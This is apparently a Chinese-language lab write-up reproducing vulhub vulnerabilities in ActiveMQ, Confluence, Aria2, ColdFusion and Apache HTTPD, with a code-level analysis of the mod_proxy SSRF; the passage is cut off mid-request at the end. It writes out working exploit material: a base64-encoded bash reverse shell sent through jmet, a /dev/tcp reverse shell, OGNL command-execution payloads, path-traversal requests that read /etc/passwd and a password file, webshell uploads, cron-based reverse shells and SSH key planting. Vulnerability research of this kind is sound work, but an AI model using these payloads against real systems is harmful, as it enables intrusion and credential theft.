vulhub靶场
ActiveMQ Deserialization Vulnerability (CVE-2015-5254)
Apache ActiveMQ概要:
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
环境搭建
服务器,docker启动环境
kali攻击机
关于漏洞利用过程:
- 构造(可以使用ysoserial)可执行命令的序列化对象
- 作为一个消息,发送给目标61616端口
- 访问web管理页面(8161端口),读取消息,触发漏洞
漏洞复现过程:
这边使用jmet 作为渗透测试工具就是使用jmet构造反序列化对象
jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)
jmet 下载地址为https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
代码:
1 | mkdir external |
利用漏洞执行任意命令
1 | java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 服务器IP 61616 |
我这里
此时会给目标ActiveMQ添加一个名为event的队列,但是有一个前提条件就是这个漏洞需要管理员访问消息触发。
这里我们可以通过弱口令登录admin/admin
在http://服务器ip:8161/admin/browse.jsp?JMSDestination=event
看到这个队列中所有消息:
根据ID找到消息然后点击就可以触发命令执行漏洞了
命令执行结果为上面构造的:"touch /tmp/success"
可以在docker容器中tmp目录查看到
利用漏洞弹shelljava -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 服务器IP 61616
注意一点就是要用base64来绕过java机制
在kaili上设置监听端口nc -lvvp 1234
根据ID找到消息,点击,触发漏洞。
ActiveMQ漏洞( CVE-2016-3088)
漏洞背景
ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。
2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。
漏洞原理
ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,下载 ActiveMQ 5.7.0 源码 ,可以看到后台处理 PUT 的关键代码如下
用户可以上传文件到指定目录,该路径在 conf/jetty.xml 中定义,如下
有趣的是,我们伪造一个特殊的上传路径,可以爆出绝对路径
顺着 PUT 方法追踪,可以看到调用了如下函数
同时看到后台处理 MOVE 的关键代码如下,可以看到该方法没有对目的路径做任何限制或者过滤。
由此,我们可以构造PUT请求上传 webshell 到 fileserver 目录,然后通过 Move 方法将其移动到有执行权限的 admin/ 目录。
影响版本
Apache Group ActiveMQ 5.0.0 - 5.13.2
Apache ActiveMQ 5.x ~ 5.14.0
ActiveMQ 可作为关键词检索
漏洞复现
直接写shell
写 shell 的话,需要写在 admin 或者 api 中,也就是需要登录,没有密码的话完成不了写 shell 操作。
(我是用vulhub的环境)该环境默认的口令为 admin/admin。
访问 http://ip:8161/admin/test/systemProperties.jsp
获取当前系统的路径
构造发包
代码:
1 | PUT /fileserver/2.txt HTTP/1.1 |
我用的是这个jsp小马
JavaScript:
1 | <%@ page import="java.io.*" %> |
发过去后回显204,因为在 fileserver 路径下是不解析的
然后移动到 api 目录下,成功的话,返回 204 No Content
1 | MOVE /fileserver/2.txt HTTP/1.1 |
执行命令
写入crontab(计划任务)自动化弹shell
这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败)
构造包
1 | PUT /fileserver/1.txt HTTP/1.1 |
将其移动到/etc/cron.d/root:
如果上述两个请求都返回204了,说明写入成功。等待反弹shell:
这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。
上传SSH公钥
既然可以任意文件上传和移动,很自然的可以想到上传我们的 ssh 公钥,从而实现 SSH 方式登录。
首先生成密钥对。(如果已存在则不需要)ssh-keygen -t rsa
然后上传、移动到/root/.ssh/并重命名为authorized_keys
之后SSH登录即可
漏洞防护方案
1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。
2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能
Atlassian Confluence 路径穿越与命令执行漏洞复现 CVE-2019-3396
简介
Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。
参考资料:
环境搭建
访问http://target_ip:8090
会进入安装引导,选择“Trial installation”,之后会要求填写license key。点击Get an evaluation license
,去Atlassian官方申请一个Confluence Server的测试证书(不要选择Data Center和Addons,记得选择not installed yet)
之后它会自动跳转到原页面并将证书自动填好
然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。
如果提示填写cluster node,路径填写/home/confluence
即可
后续可能要求你填写数据库账号密码,选择postgres数据库,地址为db
,账号密码均为postgres
接下来的内容随意选择填写
0x02.漏洞复现
路径穿越
发送如下数据包即可读取文件web.xml
1 | POST /rest/tinymce/1/macro/preview |
我是先抓了一个包后自己改了一下
1 | POST /rest/tinymce/1/macro/preview |
成功读取web,xml
6.12以前的Confluence没有限制文件读取的协议和路径,修改请求中_template参数的值,即可实现本地文件包含,我们可以使用file:///etc/passwd
来读取文件
1 | POST /rest/tinymce/1/macro/preview |
远程代码执行漏洞
修改请求中_template参数的值,可以包含远程文件,支持https协议,http目前无法利用
用python3 -m pyftpdlib -p port开启一个简单的ftp服务器
1 | python3 -m pip install pyftpdlib |
在root
目录下添加一个r.vm
文件,内容为
1 | #set ($exp="exp") |
修改_template
参数的值为ftp://attack_ip:8888/r.vm
并在其后加入command
值,设置为id
1 | POST /rest/tinymce/1/macro/preview |
发送后成功执行命令
尝试反弹shell
使用base64编码来绕后java的机制,将command
值换为base64的payload
http://jackson-t.ca/runtime-exec-payloads.html
1 | bash -i >& /dev/tcp/attack_ip/port 0>&1 #反弹shell |
在攻击机上监听7777端口,发送数据包后成功反弹shell
漏洞影响
根据 ZoomEye 网络空间搜索引擎对关键字 “X-Confluence” 进行搜索,共得到 61,856 条结果,主要分布美国、德国、中国等国家。
1 | 6.6.0, 6.7.0, 6.8.0 |
Aria2 任意文件写入
Aria2介绍
Aria2是一个命令行下运行,多协议,多来源下载工具(HTTP / HTTPS,FTP,BitTorrent,Metalink),内建XML-RPC用户界面。Aria提供RPC服务器,通过--enable-rpc
参数启动.Aria2的RPC服务器可以方便的添加,删除下载项目。
漏洞描述
通过控制文件下载链接,文件储存路径以及文件名,可以实现任意文件写入。同时通过Aria2提供的其他功能,诸如save-session
等也能轻易地实现任意文件写入指定功能。
利用payload及工具
1 | #! /bin/bash |
漏洞复现
打开是空白,但是数据包显示为404
rpc通信需要json或xml,直接从网页操作不方便,我们使用第三方UI与目标进行通信,打开 http://binux.github.io/yaaw/demo/# 点击configuration,设置json-rpc路径(原理具体解释参照:https://paper.seebug.org/120/)
这时候,arai2会将恶意文件(我指定的URL)下载到/etc/cron.d/目录下,文件名为shell。而在debian中,/etc/cron.d目录下的所有文件将被作为计划任务配置文件(类似crontab)读取,等待一分钟不到即成功反弹shell
如果反弹不成功,注意crontab文件的格式,以及换行符必须是
\n
,且文件结尾需要有一个换行符。
Atlassian Confluence OGNL表达式注入代码执行漏洞(CVE-2021-26084)
简介
Atlassian Confluence是企业广泛使用的wiki系统,其部分版本中存在OGNL表达式注入漏洞。攻击者可以通过这个漏洞,无需任何用户的情况下在目标Confluence中执行任意代码。
环境搭建
执行以下命令启动一个Confluence 7.4.10 data center 试用版本服务器:
1 | docker-compose up -d |
环境启动后,访问http://your-ip:8090
即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证。在填写数据库信息的页面,PostgreSQL数据库地址为db
,数据库名称confluence
,用户名密码均为postgres
。
漏洞利用
有多个接口可以触发这个OGNL表达式注入漏洞。
/pages/doenterpagevariables.action
这个接口不需要登录即可利用,发送如下数据包,即可看到233*233
已被执行:
1 | POST /pages/doenterpagevariables.action HTTP/1.1 |
执行任意命令:
1 | queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027 |
/pages/createpage-entervariables.action
这个路径也不需要用户登录:
1 | POST /pages/createpage-entervariables.action HTTP/1.1 |
/pages/createpage.action
这个接口需要一个可以创建页面的用户权限:
1 | GET /pages/createpage.action?spaceKey=EX&src=quick-create&queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 HTTP/1.1 |
影响版本
1 | All 4.x.x versions |
Adobe ColdFusion文件读取CVE-2010-2861
Adobe Coldfusion组件介绍
Adobe ColdFusion,是一个动态Web服务器,其CFML(ColdFusion Markup Language)是一种程序设计语言,类似现在的JSP里的JSTL(JSP Standard Tag Lib),从1995年开始开发,其设计思想被一些人认为非常先进,被一些语言所借鉴。
Coldfusion 最早是由 Allaire 公司开发的一种应用服务器平台,其运行的 CFML(ColdFusion Markup Language)针对Web应用的一种脚本语言。文件以*.cfm为文件名,在ColdFusion专用的应用服务器环境下运行。在 Allaire 公司被 Macromedia 公司收购以后,推出了 Macromedia ColdFusion 5.0,类似于其他的应用程序语言,cfm文件被编译器翻译为对应的 c++ 语言程序,然后运行并向浏览器返回结果。虽然 .cfc 和 custom tag 具有类似的重用性,但 cfc 提供了更加灵活的调用方式,例如 webservice 方式的调用支持。
Macromedia已经被Adobe并购,所以ColdFusion亦成为Adobe旗下产品。
影响范围
Adobe ColdFusion 8、9
目前受影响的Adobe Coldfusion版本:
ColdFusion 2016 Update13及之前版本
ColdFusion 2018 Update7及之前版本
漏洞描述
Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。
Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞,可导致未授权的用户读取服务器任意文件。
漏洞分析
此漏洞与之前爆出的Tomcat文件包含漏洞CVE-2020-1938的利用方式相同,利用ajp协议设计缺陷,攻击者可以构造内部属性值,通过控制
1 | javax.servlet.include.request_uri |
三个属性值,实现漏洞的利用。
以Adobe Coldfusion 2018作为漏洞分析的环境,分析Adobe Coldfusion处理ajp协议数据的代码(runtime路径下导入的tomcat-coyote.jar依赖包),org.apache.coyote.ajp.AjpProcessor类代码如下:
可以判断漏洞利用流程与CVE-2020-1938基本一致。
漏洞复现
登录初始化环境,然后退出直接访问连接
读取文件/etc/passwd
1 | /CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en |
1 | http://192.168.1.5:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en |
直接读取后台管理员密码
1 | /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en |
1 | http://192.168.1.5:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en |
Apache SSI 远程命令执行漏洞(SSI注入漏洞)
SSI
漏洞复现之前,要知道SSI是什么,那么SSI是什么呢?
SSI—-即server-side includes
功能:
SSI提供了一种对现有HTML文档增加动态内容的方法,不需要编写复杂的JSP/PHP/ASP等程序或者调用CGI程序。
用法:
ssi的语法格式类似HTML的注释,因此正确启用ssi之后,浏览器可以忽略他但是源码仍然可见,服务器会对特定的ssi指令解析,从而实现少量动态内容的添加。
SSI 服务器端包含
SSI(server-side includes)能帮我们实现什么功能:
SSI提供了一种对现有HTML文档增加动态内容的方法,即在html中加入动态内容。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意命令。
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用语法执行任意命令。
Apache SSI 远程命令执行漏洞原理
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用语法来执行命令。
使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为”服务器端嵌入”或者叫”服务器端包含”,是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。
漏洞复现
上传php失败
正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件:
1 | <!--#exec cmd="ls" --> |
上传成功,去访问一下
Apache HTTPD 多后缀解析漏洞
漏洞简介
Apache Httpd支持一个文件拥有多个后缀,不同的后缀执行不同的命令,也就是说当我们上传的文件中只要后缀名含有php,该文件就可以被解析成php文件,利用Apache httpd这个特性,就可以绕过上传文件的白名单。
该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞
1 | httpd是Apache超文本传输协议(HTTP)服务器的主程序。被设计为一个独立运行的后台进程,它会建立一个处理请求的子进程或线程的池。 |
漏洞原理
apache httpd支持一个文件有多个后缀,如:test1.php.pdf 。在windows下,会直接根据最后的.来进行分隔,将其判定为pdf文件,但在apache中可不是这样的,apache会从后往前依次进行判别,遇到不认识的后缀,便会往前读,如果还是不认识再往前,若是到最后一个都不认识,则会将该文件当成默认类型文件读取。
那么有人要问了,我怎么知道它认识哪些不认识哪些呢?在/etc下有个mime.types文件定义了apache可以识别的文件后缀。以下是该文件部分内容:
该解析漏洞产生的原因一部分是基于apache的这种特性
还有就是
Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:
1 | AddType text/html .html |
其给.html
后缀增加了media-type,值为text/html
;给.cn
后缀增加了语言,值为zh-CN
。此时,如果用户请求文件index.cn.html
,他将返回一个中文的html页面。
以上就是Apache多后缀的特性。如果运维人员给.php
后缀增加了处理器:
1 | AddHandler application/x-httpd-php .php |
那么,在有多个后缀的情况下,只要一个文件含有.php
后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
漏洞复现
当我们直接上传1.php时无法上传
加一下后缀,上传成功
Apache HTTP Server 2.4.50路径穿越漏洞 (CVE-2021-42013)
漏洞描述
Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。
影响版本
Apache 2.4.49 和 Apache 2.4.50
漏洞复现
打开发现
POC测试
使用CVE-2021-41773中的Payload已经无法成功利用漏洞了,说明2.4.50进行了修复。
但我们可以使用.%%32%65进行绕过(注意其中的/icons/必须是一个存在且可访问的目录):
1 | curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd |
或者
1 | GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1 |
远程代码执行POC:
在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行,(此靶场是已启用cgid)
1 | curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' |
或者
1 | GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1 |
Apahce HTTPd 2.4.49(CVE-2021-41773)
漏洞描述
Apache HTTP Server 是 Apache 基础开放的流行的 HTTP 服务器。在其 2.4.49 版本中,引入了一个路径体验,满足下面两个条件的 Apache 服务器将受到影响:
1、版本等于2.4.49
2、Require all granted(默认情况下是允许被访问的)。
攻击者利用这个漏洞,可以读取到Apache服务器Web目录以外的其他文件,或者读取Web中的脚本源码,或者在开启cgi或cgid的服务器上执行任意命令。
影响版本
Apache HTTP Server 2.4.49
漏洞复现
POC测试
目录遍历POC:
1 | curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd |
或者
1 | GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 |
远程代码执行POC:
在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行,(此靶场是已启用cgid)
1 | curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' |
或者
1 | GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 |
Apache HTTP Server 2.4.48 mod_proxy SSRF (CVE-2021-40438)
Apache Module综述
如果我们要部署一个PHP运行环境,且将Apache作为Web应用服务器,那么常用的有三种方法:
1 | - Apache以CGI的形式运行PHP脚本 |
第一种方式比较古老,性能较差,基本已经淘汰;第二种方式在Apache环境下使用较广,配置最为简单;第三种方法也有较大用户体量,不过Apache仅作为一个中间的反代服务器,更多新的用户会选择使用性能更好的Nginx替代。
这其中,第三种方法使用的mod_proxy_fcgi就是本文主角mod_proxy模块的一个子模块。mod_proxy是Apache服务器中用于反代后端服务的一个模块,而它拥有数个不同功能的子模块,分别用于支持不同通信协议的后端,比如常见的有:
1 | - mod_proxy_fcgi 用于反代后端是fastcgi协议的服务,比如php-fpm |
除去mod_proxy_fcgi用于反代PHP,我们在使用Node.js、Python等脚本语言编写的应用也常常会使用mod_proxy_http作为一层反代服务器,这样中间层可以做ACL、静态文件服务等。
这次的SSRF漏洞是出在mod_proxy这个模块中的,我们就来从代码的层面分析一下它的原理是什么,究竟影响有多大。
漏洞原理分析
《Building a POC for CVE-2021-40438》这篇文章中提到了这个漏洞的复现方法:当目标环境使用了mod_proxy做反向代理,比如ProxyPass / "http://localhost:8000/"
,此时通过请求http://target/?unix:{'A'*5000}|http://example.com/
即可向http://example.com
发送请求,造成一个SSRF攻击。
这里面,Apache代码中犯得错误是在modules/proxy/proxy_util.c的fix_uds_filename函数:
1 | /* |
Apache在配置反代的后端服务器时,有两种情况:
- 直接使用某个协议反代到某个IP和端口,比如
ProxyPass / "http://localhost:8080"
- 使用某个协议反代到unix套接字,比如
ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/"
第一种情况比较好理解,第二种情况的设计我觉得不是很好,相当于让用户可以使用一个Apache自创的写法来配置后端地址。那么这时候就会涉及到parse的过程,需要将这种自创的语法转换成能兼容正常socket连接的结构,而fix_uds_filename函数就是做这个事情的。
使用字符串文法来表示多种含义的方式通常暗藏一些漏洞,比如这里,进入这个if语句需要满足三个条件:
r->filename
的前6个字符等于proxy:
r->filename
的字符串中含有关键字unix:
unix:
关键字后的部分含有字符|
当满足这三个条件后,将unix:
后面的内容进行解析,设置成uds_path
的值;将字符|
后面的内容,设置成rurl
的值。
举个例子,前面介绍中的ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/"
,在解析完成后,uds_path
的值等于/var/run/www.sock
,rurl
的值等于http://localhost:8080/
。
看到这里其实都没有什么问题,那么我们肯定会思考,r->filename
是从哪来的,用户可控吗,为什么?
这时就要说到另一个函数,proxy_hook_canon_handler
,这个函数用于注册canon handler,比如:
可以看到,每一个mod_proxy_xxx
都会注册一个自己的canon handler,canon handler会在反代的时候被调用,用于告诉Apache主程序它应该把这个请求交给哪个处理方法来处理。
比如,我们看到mod_proxy_http
的proxy_http_canon
函数:
1 | static int proxy_http_canon(request_rec *r, char *url) |
这个函数中有三个主要的部分,第一部分检查了配置中的url的开头是不是http:
或https:
,如果不是,说明这个请求不该由mod_proxy_http
模块处理,后续的过程跳过;第二部分,用各种方式获取到scheme、host、port、path、search等几个URL的组成变量;第三部分,拼接proxy:
、scheme、://
、host、sport、/
、path、search,成为一个字符串,赋值给r->filename
。
这里面,scheme、host、sport来自于配置文件中配置的ProxyPass,而path、search来自于用户发送的数据包。也就是说,r->filename
中的后半部分是用户可控的。
那我们回看前面的fix_uds_filename
函数,它在r->filename
中查找关键字unix:
,并将这个关键字后面直到|
的部分作为unix套接字地址,而将|
后面的部分作为反代的后端地址。
我们可以通过请求的path或者search来控制这两个部分,控制了反代的后端地址,这也就是为什么这里会出现SSRF的原因。
限制绕过
当然,这里面有一个问题,那就是Apache在正常情况下,因为识别到了unix套接字,所以会把用户请求发送给这个本地文件套接字,而不是后端URL。
可以来做个测试,我们发送这样一个请求:
1 | GET /?unix:/var/run/test.sock|http://example.com/ HTTP/1.1 |
此时会得到一个503错误,错误日志会反馈这样的结果:
1 | [Mon Oct 18 00:14:38.634795 2021] [proxy:error] [pid 782180:tid 140737306797824] (2)No such file or directory: AH02454: HTTP: attempt to connect to Unix domain socket /var/run/test.sock (192.168.1.1) failed |
找不到unix套接字/var/run/test.sock
,这是当然。
我们不能让他把请求发送到unix套接字上,而是发送给我们需要的|
后面的地址。
国外那位作者给出了一个非常巧妙的方法,在fix_uds_filename
函数中,unix套接字的地址来自于下面这两行代码:
1 | char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path); |
如果这里ap_runtime_dir_relative
函数返回值是null,则后面获取uds_path
时将不会使用unix套接字地址,而变成普通的TCP连接:
1 | uds_path = (*worker->s->uds_path ? worker->s->uds_path : apr_table_get(r->notes, "uds_path")); |
那么如何让ap_runtime_dir_relative
的返回值是null?ap_runtime_dir_relative
函数最后引用了apr库中的apr_filepath_merge
函数,它的主要作用就是路径的join,用于处理相对路径、绝对路径、../
连接。
这个函数中,当待join的两段路径长度+4大于APR_PATH_MAX
,也就是4096的时候,则函数会返回一个路径过长的状态码,导致最后unix套接字的值是null:
1 | rootlen = strlen(rootpath); |
也就是说,我们只需要在unix:
与|
之间传入内容长度大概超过4092的字符串,就能构造出uds_path
为null的结果,让Apache不再发送请求给unix套接字。
最后,这样构造出的请求成功触发SSRF漏洞:
Apache官方对这个漏洞的修复也比较简单,因为用户只能控制r->filename
的后半部分,而前半部分proxy:{scheme}://{host}{sport}/
来自于配置文件,所以最新版改成检查其开头是不是proxy:unix:
,这一部分用户无法控制。
mod_proxy_fcgi是否存在漏洞?
我们前文都以mod_proxy_http作为例子来研究,而在Apache+PHP环境下,mod_proxy_fcgi的使用频率更高,那么它是否也会被SSRF漏洞影响呢?
这个漏洞出现在modules/proxy/proxy_util.c的fix_uds_filename函数,理论上是mod_proxy的漏洞,那么它的子模块应该都会被影响,但这个漏洞中有一个很关键的变量是r->filename
,他是否可控决定了后面的利用是否可以成功。
我们看一下mod_proxy_fcgi的canon函数:
1 | static int proxy_fcgi_canon(request_rec *r, char *url) |
可见,这里的r->filename
等于proxy:fcgi://{host}{sport}/{path}
,相比于mod_proxy_http少了search。不过,path仍然是用户可以控制的,我们可以尝试发送这样的数据包:
1 | GET /unix:testtest|http://example.com/1.php HTTP/1.1 |
经过调试可见,path中的|
被ap_proxy_canonenc
函数编码成了%7C:
没有|
,后面也就无法完成SSRF利用了。
哪些模块受到影响
那么,我们其实可以认为,如果r->filename
有部分可控,且可控的部分没有被编码(不是path),这个模块就会受到SSRF漏洞的影响。
对这个结论我没有逐一测试考证,我仅挑选另一个较为常用的模块mod_proxy_ajp来复现漏洞。
mod_proxy_ajp是用于反代Tomcat的一个Apache模块,Tomcat在8.5.51版本以前默认会开启两个端口8080和8009,分别对应HTTP协议和AJP协议。HTTP协议好理解,AJP协议是一个二进制协议,通信协议相比起来效率更高。所以以前很多运维人员会将Tomcat假设在Apache之后,然后二者之间使用AJP协议通信。
Tomcat 8.5.51之后的版本受到Ghostcat漏洞影响不再默认开放8009端口。
Apache下有两个模块能实现AJP的反代通信:
- mod_proxy_ajp 这就是mod_proxy的一个子模块,由Apache HTTPd官方维护
- mod_jk 这是Tomcat官方维护的一个Apache模块,更加出名用户也更多
由于mod_jk不是用mod_proxy的代码,所以不受到影响,我们今天仅测试mod_proxy_ajp。
简单部署一个开放8009端口的Tomcat服务器,并配置好mod_proxy_ajp进行调试,可见其proxy_ajp_canon
函数r->filename
中是包含search的:
1 | static int proxy_ajp_canon(request_rec *r, char *url) |
那么按照我们的预测,这里也会存在SSRF漏洞。果然测试成功:
那么,mod_proxy_http2、mod_proxy_balancer、mod_proxy_wstunnel等这些模块也会受到影响,而mod_proxy_uwsgi、mod_proxy_scgi等模块不受影响。我没有严格验证,有兴趣的同学可以自己下去调试一下,也许还能找到绕过方法。
几个常见问题和总结
一个大家问的比较多的问题:这个SSRF漏洞是否能够POST?答案是肯定的,理解了原理的同学肯定能明白,我们实际上是控制了反向代理的目标服务器地址。既然是反向代理,那么实际上用户请求的大部分原始数据都会被直接转发给后端,所以,我们只需要发送POST请求,即可让执行POST的SSRF,比如:
另一个,这个SSRF漏洞是否可以打本地的unix socket?答案是肯定的。原本这个漏洞的第一请求目标就是本地的unix套接字,我们使用4092个超长search绕过了这个限制让他可以打任意远程地址,只要让它回归原本的方法就可以打本地的unix套接字了:
打本地unix套接字的好处是可以攻击类似于Docker、Supervisor这样的本地服务。
最后一个问题,这个SSRF漏洞是否可以攻击一些非HTTP协议的服务?答案也是肯定的。TCP是一个数据流,即使我们打出的数据包前面有HTTP头,这并不影响后续正常的满足二进制协议的数据流的发送与接收。不过有一个例外情况,如果目标服务有一些特殊的操作,类似于高版本redis读取到一些特殊的HTTP数据段就断开TCP连接这样的操作,那么可能需要进行一些额外绕过了。
总结一下,这个SSRF漏洞的本质是Apache在解析反代服务URL的时候,由于对unix:
位置要求不严格,导致用户的输入可以控制反代的逻辑,最终导致反代URL被控制,造成SSRF漏洞。
漏洞复现
打开看一下
直接抓包,然后添数据
1 | GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA